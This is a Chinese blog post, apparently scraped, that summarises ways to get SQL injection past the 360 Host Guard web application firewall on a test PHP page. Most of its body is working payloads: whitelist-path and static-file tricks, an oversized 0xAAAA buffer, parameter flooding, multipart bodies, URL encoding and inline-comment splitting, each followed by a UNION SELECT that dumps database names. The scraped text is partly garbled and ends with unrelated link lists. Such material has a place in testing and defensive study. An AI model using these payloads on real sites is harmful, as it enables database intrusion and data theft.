SQL注入绕WAF总结
0x00 前言
0x01 环境搭建
软件版本:360主机卫士Apache 纪念版
测试环境:phpStudy
这边主要分享一下几种思路,Bypass 360 主机卫士 SQL 注入防御。
<ignore_js_op>
1
2
|
id = _REQUEST[' id ']; query = "SELECT * FROM admin WHERE id = id " ; |
因zhuji.360.cn站点已关闭,拦截界面为空白,抓包先放一张拦截图:
<ignore_js_op>
姿势一:网站后台白名单
在360主机卫士客户端设置中存在默认网站后台白名单,如图:
<ignore_js_op>
利用PHP中的PATH_INFO问题,随便挑选一个白名单加在后面,可成功bypass。
<ignore_js_op>
1
|
/ test.php / admin? id = 1 union select 1 , 2 , schema_name from information_schema.SCHEMATA |
姿势二:静态资源
<ignore_js_op>

1
|
/ test.php / 1. png? id = 1 union select 1 , 2 , schema_name from information_schema.SCHEMATA |
姿势三:缓冲区溢出
1
2
3
|
/ test.php POST: id = 1 and ( select 1 ) = ( Select 0 xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ) union select 1 , 2 , schema_name from information_schema.SCHEMATA |

姿势四:uri参数溢出
01
02
03
04
05
06
07
08
09
10
11
12
|
http : / / 192.1 68.2 04.1 28 / test.php POST: id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 & id = 1 union select 1 , 2 , schema_name % 0 a / ! from / information_schema.SCHEMATA |

1
2
|
/ test.php? id = 1 union select 1 , 2 , schema_name from information_schema.SCHEMATA POST:aaa |
<ignore_js_op>
姿势六:multipart/form-data格式
1
2
3
4
5
|
------WebKitFormBoundaryACZoaLJJzUwc4hYM Content - Disposition : form - data ; name = "id" 1 union / * ! select * / 1 , 2 , schema_name【这里使用Enter换行】 from information_schema.SCHEMATA ------WebKitFormBoundaryACZoaLJJzUwc4hYM-- |
如果转换数据包进行绕过呢?
首先,新建一个html页面:
1
2
3
4
5
6
7
8
9
|
< html > < head > < / head > < body > < input type = "text" name = "id" > < input type = "submit" > < / form > < / body > < / html > |
<ignore_js_op>

姿势七:编码绕过
1
2
|
/ test.php? id = 1 POST: id = 1 % 55 nion % 53 elect / * ! 1 , 2 , schema_name % 0 aFROM information_schema.SCHEMATA * / |
<ignore_js_op>
姿势八:%0a+内联注释
1
2
3
|
http : / / 192.1 68.2 04.1 28 / test.php POST: id = 1 union% 0 a / * ! 12345 select * / 1 , 2 , schema_name% 0 a / * ! 12345 from * / information_schema.SCHEMATA |
<ignore_js_op>
0x03 自动化Bypass




0x04 END
SQL注入绕WAF总结的更多相关文章
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- SQL注入过WAF(11.4 第三十三天)
WAF是什么? Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如D ...
- 记录一次Oracle注入绕waf
这个注入挺特殊的,是ip头注入.我们进行简单的探测: 首先正常发起一次请求,我们发现content-type是76 探测注入我习惯性的一个单引号: 一个单引号我发现长度还是76 我开始尝试单引号,双引 ...
- WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF
一.通配符简介: 一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符. 举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf: ...
- SQL注入备忘录
备忘录(一) 拿起小本本记下常考知识点. 常用连接词 and && %23%23 且 or || %7c%7c 或 xor 非 Access 数据库: 只能爆破表名.列名获取数据.无法 ...
- modSecurity规则学习(七)——防止SQL注入
1.数字型SQL注入 /opt/waf/owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [lin ...
- SQL注入之手工注入
手工注入 用的是墨者学院的靶场:传送门 涉及以下数据库: MySQL.Access.SqlServer(MSSQL).SQLite.MongoDB.Db2(IBM).PostgreSQL.Sybase ...
随机推荐
- 【河北省队互测】 gcd BZOJ 2818
Description 给定整数N,求1<=x,y<=N且Gcd(x,y)为素数的 数对(x,y)有多少对. Input 一个整数N Output 如题 Sample Input 4 Sa ...
- C#完成最简单的WebService创建及使用
打开Visual Studio(我用的是2010)→文件→新建→项目→Visual C#→Web→ASP.NET Web 服务应用程序 打开Service1.asmx文件,会看到里面已经有个Hello ...
- 自动adsl拨号上网
@echo offmode con cols=35 lines=6 & color 5Btitle 开机连接宽带--设置工具 QQ1009693258echo 请稍候...VER|FIND & ...
- SpringData JPA 排除 扫描 exclude-filter 不能使用解决
在加上JPA的配置外,还需要再加上 : xmlns:repository="http://www.springframework.org/schema/data/repository&quo ...
- [Cycle.js] Fine-grained control over the DOM Source
Currently in our main() function, we get click$ event. function main(sources) { const click$ = sour ...
- vbox要手动mount才能挂载windows的共享文件夹(好用,不用安装samba了)
mount -t vboxsf BaiduShare /mnt/bdshare/ 我按照这篇文章成功: http://www.wuji8.com/meta/448016166.html 其它参考: h ...
- 我们为什么要搞长沙.NET技术社区?
我们为什么要搞长沙.NET技术社区? 感谢大家的关注,请允许我冒昧的向大家汇报长沙.NET技术社区第一次交流会的会议进展情况. 活动过程汇报 2019年2月17日,继深圳,广州,西安,成都,苏州相继成 ...
- 《Mem2Seq: Effectively Incorporating Knowledge Bases into End-to-EndTask-Oriented Dialog Systems》
Multihop Attention Networks (MANs) https://zhuanlan.zhihu.com/p/52067672 https://blog.csdn.net/qq_38 ...
- tcpdump抓包具体分析
Tcpdump抓包分析过程 一.TCP连接建立(三次握手) 过程 客户端A,服务器B,初始序号seq,确认号ack 初始状态:B处于监听状态,A处于打开状态 A -> B : seq = x ...
- Crowdsourcing[智能辅助标注]
为了实现标注平台智能辅助标注的能力,即上传一个标注任务,开始不提供辅助任务,随着用户标注的进行,后台可以收集一部分的标记数据,然后开启模型训练,并接着提供模型服务功能.然后再收集数据,再不断的训练,然 ...